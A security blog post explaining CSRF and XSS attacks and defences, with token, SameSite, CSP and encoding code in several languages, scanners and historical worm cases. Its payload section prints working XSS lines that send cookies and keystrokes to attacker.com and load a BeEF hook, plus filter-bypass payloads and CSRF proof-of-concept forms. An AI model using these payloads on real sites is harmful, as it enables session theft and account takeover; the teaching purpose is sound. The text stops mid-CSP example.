Skip to main content
  1. Posts/

Web Application Security: CSRF and XSS Prevention

··7802 words·37 mins·
Table of Contents

CSRF and XSS have been on the OWASP list since OWASP started keeping a list, and they’re still there because developers keep shipping the same two bugs in new wrappers. CSRF abuses the fact that browsers attach cookies to every request bound for a domain, regardless of who triggered the request. XSS abuses the fact that a lot of “user input” eventually becomes part of a page somebody renders, and the line between data and code in HTML is thinner than the people writing the templates want to admit.

This post walks through both attacks from the operator side (what the request looks like on the wire, where the bypass usually lives) and the defender side (what actually works in production, not just the cheat-sheet headline). The code samples are intentionally boring real-world idioms across PHP, Java, Python, JavaScript, C#, and Ruby, because the bug is almost never in the exotic case.

Cross-Site Request Forgery
#

CSRF works because of one specific browser behavior: cookies tagged for a domain get attached to outbound requests to that domain whether the request originated from your authenticated tab or from a hidden form on someone else’s page. The server, looking only at the cookie, has no easy way to tell the two apart. That’s the whole bug. Everything else is plumbing on top of it.

Three pieces have to line up for CSRF to land:

  1. HTTP is stateless, but cookies smuggle persistent session state into every request
  2. Browsers attach those cookies automatically, regardless of which page made the request
  3. The server doesn’t independently check that the request came from a page it served

How the attack actually fires
#

The textbook CSRF flow is short:

  1. Victim logs into bank.com and gets a session cookie like session_id=abc123

  2. Attacker hosts a page (or sends an email) containing a hidden image tag:

    <img src="https://bank.com/transfer?to=attacker&amp;amount=1000" style="display:none;"/>
  3. Victim, still logged into bank.com, opens the attacker’s page

  4. Browser issues the GET to bank.com/transfer and dutifully attaches the session cookie

  5. The bank’s backend, looking only at the cookie, processes the transfer

That’s the toy version. The interesting variants are the ones that survive partial mitigations.

Login CSRF. Instead of forging a transfer, the attacker forces the victim to log into the attacker’s account on a legitimate service.

<form action="https://legit-site.com/login" method="POST">
 <input name="username" value="attacker"/>
 <input name="password" value="attackerpass"/>
</form>
<script>
 document.forms[0].submit();
</script>

Why bother? Because anything the victim does inside that session, search history, saved payment methods, location data, is now data the attacker can see. Useful in phishing chains and account-recovery games.

JSON CSRF. Old guidance said APIs that accept JSON are CSRF-safe because cross-origin form posts can’t set Content-Type: application/json. That guidance got softer as soon as fetch with credentials: 'include' showed up:

<script>
 fetch('https://api.vulnerable.com/user/update', {
    method: 'POST',
    body: JSON.stringify({email: 'attacker@evil.com'}),
    credentials: 'include'
  });
</script>

It’s a CORS-preflighted request, so the server gets a chance to reject it, but if the server replies with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true (or echoes the Origin header unconditionally), you’re done.

GET-based CSRF. Any state-changing endpoint that accepts GET is one <img> tag away from a CSRF. This is the classic “delete user via image” trick:

<img src="https://vulnerable.com/admin/deleteUser?id=123"/>

If you’re auditing an app and you see GET /admin/deleteUser, the conversation is over. State-changing GET is the bug.

Stopping CSRF, by category
#

Double-submit cookie#

This defense involves sending the CSRF token in both a cookie and request parameter:

// Client-side: Set token in both cookie and form
document.cookie = "csrf_token=" + token;
// Server-side verification
$cookie_token = $_COOKIE['csrf_token'];
$form_token = $_POST['csrf_token'];

if (!hash_equals($cookie_token, $form_token)) {
    die('CSRF token mismatch');
}

If you can’t store the token server-side, this is the next best thing. The attacker can’t read the cookie value because of same-origin policy, so they can’t include it in the forged form.

Origin header validation
#

Modern browsers send Origin (and sometimes Referer) on state-changing requests. Check it:

$allowed_origins = ['https://trusted-domain.com'];

if (!in_array($_SERVER['HTTP_ORIGIN'], $allowed_origins)) {
    http_response_code(403);
    die('Invalid origin');
}

Not a complete defense on its own (some proxies strip Origin, some clients omit it), but cheap and a good belt-and-suspenders.

Custom headers for AJAX
#

AJAX can set headers that a plain <img> or cross-origin form can’t:

fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'X-Requested-With': 'XMLHttpRequest',
        'X-CSRF-Token': token
    },
    credentials: 'same-origin'
});

Requiring X-Requested-With: XMLHttpRequest was the canonical pattern for years. It’s not bulletproof (a same-origin XSS bypasses it trivially), but it kills the easy cross-origin attack because plain HTML can’t add custom headers without a preflight.

CSRF token implementation, language by language
#

Most frameworks ship CSRF middleware. If you’re writing it yourself, the rules are: random per-session (or per-request), constant-time comparison, and rotate after use for the highest-stakes endpoints.

PHP
#

<?php
class CSRFProtection {
    private static $token_name = 'csrf_token';

    public static function generateToken() {
        if (!isset($_SESSION[self::$token_name])) {
            $_SESSION[self::$token_name] = bin2hex(random_bytes(32));
        }
        return $_SESSION[self::$token_name];
    }

    public static function validateToken($token) {
        if (!isset($_SESSION[self::$token_name])) {
            return false;
        }

        $valid = hash_equals($_SESSION[self::$token_name], $token);

        // Rotate token after use for additional security
        unset($_SESSION[self::$token_name]);

        return $valid;
    }

    public static function insertHiddenField() {
        $token = self::generateToken();
        return '<input type="hidden" name="' . self::$token_name . '" value="' . htmlspecialchars($token) . '">';
    }
}

// Usage in forms
$form = '<form action="/transfer" method="POST">';
$form .= CSRFProtection::insertHiddenField();
$form .= '<input type="text" name="to_account">';
$form .= '<input type="number" name="amount">';
$form .= '<input type="submit" value="Transfer">';
$form .= '</form>';
?>

Java
#

import java.security.SecureRandom;
import java.util.Base64;
import javax.servlet.http.HttpSession;

public class CSRFTokenManager {
    private static final String CSRF_TOKEN_NAME = "csrf_token";
    private static final int TOKEN_LENGTH = 32;

    public static String generateToken(HttpSession session) {
        String token = (String) session.getAttribute(CSRF_TOKEN_NAME);
        if (token == null) {
            SecureRandom random = new SecureRandom();
            byte[] bytes = new byte[TOKEN_LENGTH];
            random.nextBytes(bytes);
            token = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
            session.setAttribute(CSRF_TOKEN_NAME, token);
        }
        return token;
    }

    public static boolean validateToken(HttpSession session, String token) {
        String sessionToken = (String) session.getAttribute(CSRF_TOKEN_NAME);
        if (sessionToken == null || token == null) {
            return false;
        }

        boolean valid = sessionToken.equals(token);

        // Clear token after use
        if (valid) {
            session.removeAttribute(CSRF_TOKEN_NAME);
        }

        return valid;
    }
}

Python (Flask)
#

from flask import Flask, session, request, render_template_string
import secrets
import hashlib

app = Flask(__name__)
app.secret_key = 'your-secret-key-here'

def generate_csrf_token():
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    return session['csrf_token']

def validate_csrf_token(token):
    session_token = session.get('csrf_token')
    if not session_token or not token:
        return False

    # Use constant-time comparison
    if hashlib.sha256(session_token.encode()).hexdigest() == hashlib.sha256(token.encode()).hexdigest():
        # Clear token after use
        del session['csrf_token']
        return True
    return False

@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
    if request.method == 'POST':
        token = request.form.get('csrf_token')
        if not validate_csrf_token(token):
            return "CSRF token validation failed", 403

        # Process transfer logic here
        return "Transfer completed successfully"

    csrf_token = generate_csrf_token()
    return render_template_string('''
        <form method="POST">
            <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
            <input type="text" name="to_account" placeholder="Recipient Account">
            <input type="number" name="amount" placeholder="Amount">
            <input type="submit" value="Transfer Money">
        </form>
    ''', csrf_token=csrf_token)

if __name__ == '__main__':
    app.run()

SameSite cookies
#

SameSite is the structural fix that finally made CSRF rare on greenfield apps. It tells the browser when to attach the cookie based on which site initiated the request.

// PHP: Set SameSite attribute
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'  // Lax or Strict
]);

// JavaScript: Set SameSite via document.cookie
document.cookie = "session_id=abc123; SameSite=Strict; Secure; HttpOnly";

Three values, in order of decreasing strictness. Strict only attaches the cookie when the request is same-site, which kills CSRF outright but also breaks “click a link from email to land on a logged-in page.” Lax attaches on top-level GET navigation only, which is the modern default in Chrome and Firefox and what you want for session cookies on most apps. None attaches everywhere but requires Secure, which you set when you actually need cross-site cookies (think OAuth callbacks or third-party embeds).

Most apps want Lax for the session cookie and Strict for anything that grants additional authority (admin-only cookies, sudo modes, payment confirmation tokens).

CSP can help here too
#

Content Security Policy is mostly an XSS defense, but form-action and frame-ancestors do useful work against CSRF:

<!-- Restrict form actions to same origin -->
<meta content="form-action 'self'; frame-ancestors 'none';" http-equiv="Content-Security-Policy"/>

Testing for CSRF
#

The manual loop on engagement is:

  1. Catalog every state-changing endpoint (POSTs that actually mutate, plus any GET that does work it shouldn’t)
  2. Check whether each one validates a token, and what happens when you omit or reuse it
  3. Confirm authentication is cookie-only (no Authorization header doing the real work)
  4. Build a one-page PoC: simple form auto-submitting to the target with credentials: 'include'
  5. Look at SameSite on the session cookie, especially for browsers that don’t default to Lax
  6. Try the custom-header bypass: does the server happily accept the request without X-Requested-With?

For coverage at scale, automate it:

import requests
from bs4 import BeautifulSoup

class CSRFScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()

    def login(self, username, password):
        """Establish authenticated session"""
        login_data = {'username': username, 'password': password}
        response = self.session.post(f"{self.base_url}/login", data=login_data)
        return response.status_code == 200

    def extract_csrf_token(self, url):
        """Extract CSRF token from HTML form"""
        response = self.session.get(url)
        soup = BeautifulSoup(response.text, 'html.parser')

        token_input = soup.find('input', {'name': 'csrf_token'})
        return token_input['value'] if token_input else None

    def test_csrf_protection(self, target_url, form_data):
        """Test if endpoint is protected against CSRF"""
        # Test without token
        response_no_token = self.session.post(target_url, data=form_data)
        print(f"Without token: {response_no_token.status_code}")

        # Test with valid token
        token = self.extract_csrf_token(target_url)
        if token:
            form_data['csrf_token'] = token
            response_with_token = self.session.post(target_url, data=form_data)
            print(f"With token: {response_with_token.status_code}")

        return response_no_token.status_code != response_with_token.status_code

# Usage
scanner = CSRFScanner("https://vulnerable-app.com")
scanner.login("testuser", "testpass")
scanner.test_csrf_protection("/transfer", {"to": "attacker", "amount": "100"})

Cross-Site Scripting
#

XSS is what happens when attacker-controlled data ends up inside the page in a way that the browser interprets as code rather than content. The attack runs in the victim’s browser, under the site’s origin, with access to the site’s cookies (unless those are HttpOnly), local storage, and DOM. That last detail is what makes XSS so destructive: the script the attacker shipped is, as far as the browser is concerned, your script.

There are three flavors people argue about. The taxonomy doesn’t change much in actual engagement work, but the categories do map to different bug-hunting strategies.

Reflected XSS
#

The payload arrives in the request and echoes straight back into the response:

// Vulnerable PHP code
$name = $_GET['name'];
echo "<h1>Hello, $name!</h1>";

Attack URL:

https://vulnerable.com/greet.php?name=<script>alert('XSS')</script>

Looks contrived, isn’t. Reflected XSS lives in search pages, error pages, anywhere the server takes a parameter and includes it in the response unescaped.

Stored XSS
#

The payload gets written into the database and rendered on every subsequent visit:

// Vulnerable comment system
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (user_id, comment) VALUES ($user_id, '$comment')";
// Later displayed without encoding
echo "<div class='comment'>$comment</div>";

Worse than reflected because the server doesn’t have to be tricked into echoing anything. Once the payload’s stored, it fires on every page view by every user. The Samy worm is the canonical case study (more on that below).

DOM-based XSS
#

The server may be doing everything right; the bug is entirely in client-side JavaScript that takes attacker-controlled data and feeds it to something dangerous like innerHTML, document.write, or eval:

// Vulnerable JavaScript
var username = location.hash.substring(1); // Gets URL fragment
document.getElementById('welcome').innerHTML = "Hello, " + username;

Attack URL:

https://vulnerable.com/page#<script>alert('DOM XSS')</script>

DOM XSS is sneaky because traditional server-side scanners don’t catch it. The payload never reaches the server. location.hash content stays client-side.

Blind XSS
#

The payload lands somewhere only a privileged user can see it later: a contact-form inbox, an admin log viewer, a support-ticket UI. The attacker doesn’t get immediate feedback that it fired, which is why people use callback platforms like XSS Hunter (or roll their own) to ping a server when the payload executes.

Payloads that actually do something
#

The <script>alert('XSS')</script> demo is the proof. The interesting question is what the payload does once it lands.

Cookie theft#

// Steal session cookies
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);

If the session cookie is HttpOnly, this fails silently. If it isn’t, you have a session and you don’t need anything fancier.

Keylogging
#

document.onkeypress = function(e) {
    var img = new Image();
    img.src = 'https://attacker.com/log?key=' + e.key;
};

Noisy, easy to detect with a CSP connect-src policy, but useful for capturing what someone types into a form before submission.

Session hijacking
#

window.location = 'https://attacker.com/hijack?session=' +
    encodeURIComponent(document.cookie);

Burning the victim’s tab is rarely worth it. Use the cookie-theft pattern above and keep the victim on-site.

Hooking into BeEF
#

var script = document.createElement('script');
script.src = 'https://attacker.com/hook.js';
document.head.appendChild(script);

BeEF (Browser Exploitation Framework) gives you a persistent foothold in the victim’s browser: keystroke capture, social-engineering popups, port-scanning the victim’s local network. Heavy for a smash-and-grab, useful for sustained access.

Defenses that actually work
#

Input validation and sanitization
#

<?php
function sanitizeInput($input) {
    // Remove potentially dangerous tags
    $input = strip_tags($input, '<p><br><strong><em>');

    // Convert special characters to HTML entities
    $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

    // Additional custom sanitization
    $input = preg_replace('/javascript:/i', '', $input);
    $input = preg_replace('/on\w+\s*=/i', '', $input);

    return $input;
}

// Usage
$userInput = $_POST['comment'];
$sanitizedInput = sanitizeInput($userInput);
echo "<div class='comment'>$sanitizedInput</div>";
?>

Sanitization at input is the weakest link in the chain. The right time to escape is at output, when you know exactly which context the data is landing in. Input sanitization should mostly be about rejecting obviously hostile data and enforcing format constraints (this is supposed to be an email, so reject anything that isn’t).

Context-aware output encoding
#

Different output contexts need different escape rules. HTML body, HTML attribute, JavaScript string, JavaScript URL, CSS, and URL parameter all have different metacharacters, and a function that escapes for HTML body won’t save you when the data lands in an onclick= attribute.

public class XSSPrevention {

    // HTML Context Encoding
    public static String encodeForHtml(String input) {
        return input.replace("&", "&amp;")
                   .replace("<", "&lt;")
                   .replace(">", "&gt;")
                   .replace("\"", "&quot;")
                   .replace("'", "&#x27;")
                   .replace("/", "&#x2F;");
    }

    // JavaScript Context Encoding
    public static String encodeForJavaScript(String input) {
        return input.replace("\\", "\\\\")
                   .replace("\"", "\\\"")
                   .replace("'", "\\'")
                   .replace("\r", "\\r")
                   .replace("\n", "\\n")
                   .replace("<", "\\u003c")
                   .replace(">", "\\u003e");
    }

    // URL Context Encoding
    public static String encodeForUrl(String input) {
        try {
            return java.net.URLEncoder.encode(input, "UTF-8");
        } catch (Exception e) {
            return input;
        }
    }

    // CSS Context Encoding
    public static String encodeForCss(String input) {
        return input.replace("<", "\\3c ")
                   .replace(">", "\\3e ")
                   .replace("\"", "\\22 ")
                   .replace("'", "\\27 ");
    }
}

Content Security Policy
#

CSP is the most effective single XSS mitigation if you commit to it. The trick is committing: most apps start with a permissive policy and never tighten it because the team can’t find time to refactor inline scripts.

<!-- Strict CSP for XSS prevention -->
<meta content="
    default-src 'self';
    script-src 'self' https://trusted-cdn.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self';
    media-src 'self';
    object-src 'none';
    child-src 'self';
    worker-src 'self';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" http-equiv="Content-Security-Policy"/>

Serve this as a real HTTP header in production. The <meta> form is convenient for demos and gets respected by browsers, but doesn’t cover all directives (notably frame-ancestors and report-uri).

HTTP-only cookies
#

Keep JavaScript from reading the session cookie:

// Set HTTP-only session cookie
session_set_cookie_params([
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);
session_start();

It’s not a complete defense (an attacker with XSS can still hit any in-page API that piggybacks on the session), but it kills the trivial cookie-exfiltration payloads.

Subresource Integrity
#

For scripts loaded from a third-party CDN, pin the hash so a CDN compromise doesn’t silently swap your code:

<script crossorigin="anonymous" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" src="https://code.jquery.com/jquery-3.6.0.min.js">
</script>

Testing for XSS
#

Automated detection
#

import requests
from bs4 import BeautifulSoup
import re

class XSSScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.payloads = [
            "<script>alert('XSS')</script>",
            "<img src=x onerror=alert('XSS')>",
            "<svg onload=alert('XSS')>",
            "javascript:alert('XSS')",
            "<iframe src=javascript:alert('XSS')>",
            "<body onload=alert('XSS')>",
        ]

    def scan_endpoint(self, url, params):
        """Scan an endpoint for XSS vulnerabilities"""
        vulnerabilities = []

        for param in params:
            for payload in self.payloads:
                test_params = params.copy()
                test_params[param] = payload

                try:
                    response = self.session.get(url, params=test_params)
                    soup = BeautifulSoup(response.text, 'html.parser')

                    # Check if payload is reflected unencoded
                    if payload in response.text:
                        # Check if it's in a dangerous context
                        if self.is_dangerous_context(response.text, payload):
                            vulnerabilities.append({
                                'parameter': param,
                                'payload': payload,
                                'url': url,
                                'type': 'reflected'
                            })

                except Exception as e:
                    print(f"Error testing {param} with {payload}: {e}")

        return vulnerabilities

    def is_dangerous_context(self, html, payload):
        """Check if XSS payload is in a dangerous HTML context"""
        # Look for payload in script tags, event handlers, etc.
        dangerous_patterns = [
            r'<script[^>]*>.*?' + re.escape(payload),
            r'on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
            r'<[^>]*\s+[^>]*on\w+\s*=\s*["\'][^"\']*' + re.escape(payload),
        ]

        for pattern in dangerous_patterns:
            if re.search(pattern, html, re.IGNORECASE | re.DOTALL):
                return True
        return False

    def scan_form(self, url):
        """Scan forms for XSS vulnerabilities"""
        response = self.session.get(url)
        soup = BeautifulSoup(response.text, 'html.parser')

        forms = soup.find_all('form')
        for form in forms:
            action = form.get('action', url)
            method = form.get('method', 'GET').upper()

            inputs = form.find_all(['input', 'textarea', 'select'])
            form_data = {}

            for input_field in inputs:
                name = input_field.get('name')
                if name:
                    input_type = input_field.get('type', 'text')
                    if input_type not in ['submit', 'button', 'image']:
                        form_data[name] = 'test_value'

            # Test each input field
            for field_name in form_data.keys():
                for payload in self.payloads:
                    test_data = form_data.copy()
                    test_data[field_name] = payload

                    try:
                        if method == 'POST':
                            response = self.session.post(action, data=test_data)
                        else:
                            response = self.session.get(action, params=test_data)

                        if payload in response.text and self.is_dangerous_context(response.text, payload):
                            print(f"Potential XSS in form field: {field_name}")
                            print(f"Payload: {payload}")
                            print(f"URL: {action}")

                    except Exception as e:
                        print(f"Error testing form field {field_name}: {e}")

# Usage
scanner = XSSScanner("https://vulnerable-app.com")
scanner.scan_endpoint("/search", {"query": ""})
scanner.scan_form("/contact")

For real coverage, lean on dedicated tools (XSStrike, OWASP ZAP, Burp’s scanner), then use scripts like the above for the long tail of parameters they miss.

Catching DOM XSS
#

DOM sinks are notoriously hard to scan from outside the browser. A MutationObserver gives you a runtime view of what’s actually getting injected into the page:

function detectDOMXSS() {
    // Monitor for suspicious script insertions
    const observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            mutation.addedNodes.forEach(function(node) {
                if (node.tagName === 'SCRIPT') {
                    console.warn('Suspicious script tag added to DOM');
                    console.log('Script source:', node.src);
                    console.log('Script content:', node.textContent);
                }

                // Check for dangerous attributes
                if (node.nodeType === Node.ELEMENT_NODE) {
                    const dangerousAttrs = ['onload', 'onerror', 'onclick', 'onmouseover'];
                    dangerousAttrs.forEach(attr => {
                        if (node.hasAttribute(attr)) {
                            console.warn(`Dangerous attribute ${attr} found on element:`, node);
                        }
                    });
                }
            });
        });
    });

    observer.observe(document.body, {
        childList: true,
        subtree: true,
        attributes: true,
        attributeFilter: ['src', 'href', 'onload', 'onerror', 'onclick']
    });
}

// Initialize detection
if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', detectDOMXSS);
} else {
    detectDOMXSS();
}

Bypassing the filter
#

If the app is doing string-replace sanitization, the bypass cabinet is well-stocked.

// Case variation bypass
<
ScRipT > alert('XSS') < /ScRipT>

    // Comment injection
    <
    scr < !-- -- > ipt > alert('XSS') < /scr<!-- -->ipt>

    // Encoding bypass
    &
    #60;script&# 62;
alert('XSS') & #60;/script&# 62;

// Protocol-relative URLs
<
script src = "//evil.com/xss.js" > < /script>

Case variation defeats a naive str_replace('<script>', ''). Comment-injection defeats the next attempt (<scr<!---->ipt>). HTML entity encoding defeats the third (&#60;script&#62;). Protocol-relative URLs slip past origin checks that hardcoded https://. Each layer of regex spawns its own bypass. The conclusion most teams reach (eventually) is to stop trying to write a regex sanitizer and use a real library.

What a real filter looks like
#

If you must hand-roll, model it after OWASP’s HTML Sanitizer rather than chaining regexes. This is closer to the right shape:

<?php
class XSSFilter {
    private static $dangerous_tags = [
        'script', 'iframe', 'object', 'embed', 'form', 'input', 'meta', 'link', 'style'
    ];

    private static $dangerous_attrs = [
        'onload', 'onerror', 'onclick', 'onmouseover', 'onmouseout',
        'onmousedown', 'onmouseup', 'onkeypress', 'onkeydown', 'onkeyup',
        'onsubmit', 'onreset', 'onfocus', 'onblur', 'onchange',
        'src', 'href', 'action', 'formaction'
    ];

    public static function sanitize($input) {
        // Convert to lowercase for consistent processing
        $input = strtolower($input);

        // Remove dangerous tags
        foreach (self::$dangerous_tags as $tag) {
            $input = preg_replace('/<' . $tag . '[^>]*>.*?<\/' . $tag . '>/is', '', $input);
            $input = preg_replace('/<' . $tag . '[^>]*\/?>/i', '', $input);
        }

        // Remove dangerous attributes
        foreach (self::$dangerous_attrs as $attr) {
            $input = preg_replace('/\s+' . $attr . '\s*=\s*["\'][^"\']*["\']/i', '', $input);
            $input = preg_replace('/\s+' . $attr . '\s*=\s*[^>\s]*/i', '', $input);
        }

        // Remove javascript: and data: URLs
        $input = preg_replace('/(?:javascript|data):[^>]*/i', '#', $input);

        // Remove event handlers
        $input = preg_replace('/\s+on\w+\s*=\s*["\'][^"\']*["\']/i', '', $input);

        return $input;
    }

    public static function encodeOutput($input, $context = 'html') {
        switch ($context) {
            case 'html':
                return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
            case 'javascript':
                return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
            case 'css':
                return preg_replace('/[<>"\']/', '', $input);
            case 'url':
                return urlencode($input);
            default:
                return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
        }
    }
}

// Usage
$userInput = $_POST['comment'];
$sanitized = XSSFilter::sanitize($userInput);
$encoded = XSSFilter::encodeOutput($sanitized, 'html');
echo "<div class='comment'>$encoded</div>";
?>

Real cases worth knowing
#

Samy worm, MySpace (October 2005)
#

Samy Kamkar found a stored XSS in MySpace profile-customization HTML. The payload he embedded in his own profile read MySpace’s anti-CSRF token straight out of the rendered page, then used that token to forge two requests as the viewer: add Samy as a friend, and append Samy’s payload to the viewer’s profile. Whoever then viewed that profile ran the same code. Roughly 1 million infections in under 20 hours, at which point MySpace took the site offline to clean up.

The lesson worth keeping: the worm was both XSS and CSRF, and the CSRF token gave the attacker no protection at all because XSS lets you read it. Token-based CSRF defense assumes attacker-controlled JS isn’t already running in your origin. Once it is, the token is just another value on the page.

Kamkar pleaded guilty in 2007 to a felony computer-hacking charge, drew probation, 720 hours of community service, and a $20,000 fine. No prison.

StalkDaily / Mikeyy worm, Twitter (April 2009)
#

Michael Mooney, 17, exploited a stored XSS in Twitter profile pages. Viewing an infected profile silently rewrote the viewer’s own profile with the same payload and posted a tweet promoting StalkDaily.com. Mooney later said he did it to draw attention to himself and the StalkDaily site. Twitter patched and the propagation died within hours.

The mechanic is the same family as Samy’s worm: stored XSS plus an action the script can take on the viewer’s behalf. The same fix family applies (output encode the profile fields, don’t trust your own DOM for authority decisions).

“onMouseOver” worm, Twitter (September 2010)
#

The other Twitter XSS worth mentioning is the September 2010 onMouseOver worm. Magnus Holm exploited a stored XSS in twitter.com’s handling of URL hover text, which let an attacker craft a tweet that fired JS when a viewer hovered the embedded link. The payload retweeted itself from each viewer’s account. Around 200,000 propagations before it was contained. Twitter’s postmortem blog blamed a regression in their URL-sanitization rewrite.

Yahoo Mail stored XSS (2015)
#

Finnish researcher Jouko Pynnonen (Klikki Oy) found that Yahoo Mail’s webmail allowed certain boolean HTML attributes to slip through its sanitizer. A crafted email body fired JavaScript on the recipient’s browser when they opened the message, giving the attacker control of the victim’s mailbox: forward all mail to an external address, send mail as the victim, modify filters. Yahoo paid $10,000 via HackerOne.

This is a stored XSS (the payload lives in the email body in Yahoo’s storage), not the DOM-based variety older guidance assumes when it talks about “webmail XSS.” Same defense principles, different sink.

Framework-level defenses
#

The earlier sections covered the mechanics and a few language-specific implementations. This section covers what the actual frameworks ship, because in 2023 most CSRF and XSS bugs aren’t in the framework code, they’re in the engineer who turned the framework’s default protections off.

CSRF in modern frameworks
#

ASP.NET Core
#

ASP.NET Core has anti-forgery middleware built in. Decorate the action:

[ValidateAntiForgeryToken]
public IActionResult SubmitForm([FromForm] User user)
{
    // Code to process form data
    return View();
}

The Razor form tag helper emits the hidden field automatically, the middleware validates it on POST, and you don’t have to think about it. The mistake to watch for is decorating only the most obvious endpoints and leaving newer admin routes uncovered.

Ruby on Rails
#

Rails ships protect_from_forgery enabled in ApplicationController since version 5.2 (and ships with: :exception since 6.0, which raises instead of silently nulling out the session). Forms generated by form_with include the token automatically:

<%= form_with(url: '/submit_form', method: 'post') do |form| %>
  <%= form.hidden_field :authenticity_token, value: form_authenticity_token %>
  <%= form.text_field :username %>
  <%= form.text_field :password %>
  <%= form.submit %>
<% end %>

In a typical Rails app you shouldn’t need to write the hidden field by hand. The helper does it. If you’re seeing CSRF failures in development, check whether something is disable: true or whether a form is bypassing the helper.

SameSite in PHP
#

For non-framework PHP, set SameSite at session start:

session_set_cookie_params([
    'samesite' => 'strict',
    'secure' => true,
    'httponly' => true,
]);
session_start();

strict plus secure plus httponly is the standard hardening trio. Set samesite to lax if you need the session to survive top-level navigation from an email link or a search engine.

A note on reCAPTCHA
#

People reach for reCAPTCHA as a CSRF defense, but it’s the wrong tool. CSRF doesn’t require automation. The victim’s own browser is doing the work, and there’s nothing for reCAPTCHA to interpose on. reCAPTCHA helps against credential stuffing and form-spam; for CSRF, use tokens and SameSite.

If you do drop reCAPTCHA on a state-changing endpoint:

grecaptcha.execute(sitekey, {
    action: "submit_form"
}).then(function(token) {
    // Submit the form with the token
});

The token gets sent to your server, which calls Google’s siteverify endpoint to confirm the user passed. Useful for keeping bots out of expensive operations; not a CSRF defense.

XSS in modern frameworks
#

Multi-layer input validation
#

Sanitization at the boundary is necessary but not sufficient. The framework should still escape at the rendering stage, because input validation rules tend to leak edge cases over time.

import bleach
from urllib.parse import unquote
import re
import json

class XSSDefense:
    @staticmethod
    def validate_and_sanitize(input_string, context='html'):
        """
        Multi-layered XSS defense with context-aware sanitization
        """
        if not input_string:
            return ""

        # Length limits to prevent DoS
        if len(input_string) > 10000:
            raise ValueError("Input too long")

        # URL decoding to catch double-encoded attacks
        decoded = unquote(unquote(input_string))

        # Remove null bytes and other control characters
        decoded = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', decoded)

        # Context-specific sanitization
        if context == 'html':
            # Use bleach for HTML sanitization
            allowed_tags = ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li']
            allowed_attrs = {'a': ['href', 'title', 'target']}
            return bleach.clean(decoded, tags=allowed_tags, attributes=allowed_attrs)

        elif context == 'javascript':
            # For JSON responses, use proper encoding
            return json.dumps(decoded)[1:-1]  # Remove quotes from JSON string

        elif context == 'url':
            # URL encoding for safe parameter passing
            from urllib.parse import quote
            return quote(decoded)

        elif context == 'css':
            # CSS sanitization
            return re.sub(r'[<>"\']', '', decoded)

        else:
            # Default: HTML entity encoding
            return bleach.clean(decoded, tags=[], strip=True)

    @staticmethod
    def validate_email(email):
        """RFC-compliant email validation"""
        pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
        if not re.match(pattern, email):
            raise ValueError("Invalid email format")
        return email

    @staticmethod
    def validate_url(url):
        """URL validation with scheme checking"""
        from urllib.parse import urlparse
        parsed = urlparse(url)
        allowed_schemes = ['http', 'https']

        if parsed.scheme not in allowed_schemes:
            raise ValueError("Invalid URL scheme")

        if not parsed.netloc:
            raise ValueError("Invalid URL format")

        return url

# Usage examples
try:
    safe_html = XSSDefense.validate_and_sanitize(user_input, 'html')
    safe_email = XSSDefense.validate_email(email_input)
    safe_url = XSSDefense.validate_url(url_input)
except ValueError as e:
    print(f"Validation error: {e}")

Context-aware output encoding, again
#

This is important enough to repeat with a different language. The same data needs different encoding rules depending on which template slot it lands in.

public class XSSPrevention {

    // HTML Context Encoding
    public static String encodeForHtml(String input) {
        if (input == null) return "";
        return input.replace("&", "&amp;")
                   .replace("<", "&lt;")
                   .replace(">", "&gt;")
                   .replace("\"", "&quot;")
                   .replace("'", "&#x27;")
                   .replace("/", "&#x2F;");
    }

    // JavaScript Context Encoding
    public static String encodeForJavaScript(String input) {
        if (input == null) return "";
        return input.replace("\\", "\\\\")
                   .replace("\"", "\\\"")
                   .replace("'", "\\'")
                   .replace("\r", "\\r")
                   .replace("\n", "\\n")
                   .replace("<", "\\u003c")
                   .replace(">", "\\u003e");
    }

    // CSS Context Encoding
    public static String encodeForCss(String input) {
        if (input == null) return "";
        return input.replace("<", "\\3c ")
                   .replace(">", "\\3e ")
                   .replace("\"", "\\22 ")
                   .replace("'", "\\27 ");
    }

    // URL Context Encoding
    public static String encodeForUrl(String input) {
        if (input == null) return "";
        try {
            return java.net.URLEncoder.encode(input, "UTF-8");
        } catch (Exception e) {
            return input;
        }
    }
}

CSP with reporting
#

The deployment pattern that actually works is: start with Content-Security-Policy-Report-Only (browsers report violations but don’t enforce), watch the reports, fix the violations, then flip to Content-Security-Policy. The reporting URI is how you discover the inline <script> that nobody remembered was there.

<!-- Comprehensive CSP policy -->
<meta content="
    default-src 'self';
    script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted-cdn.com;
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
    img-src 'self' data: https: blob:;
    font-src 'self' https://fonts.gstatic.com;
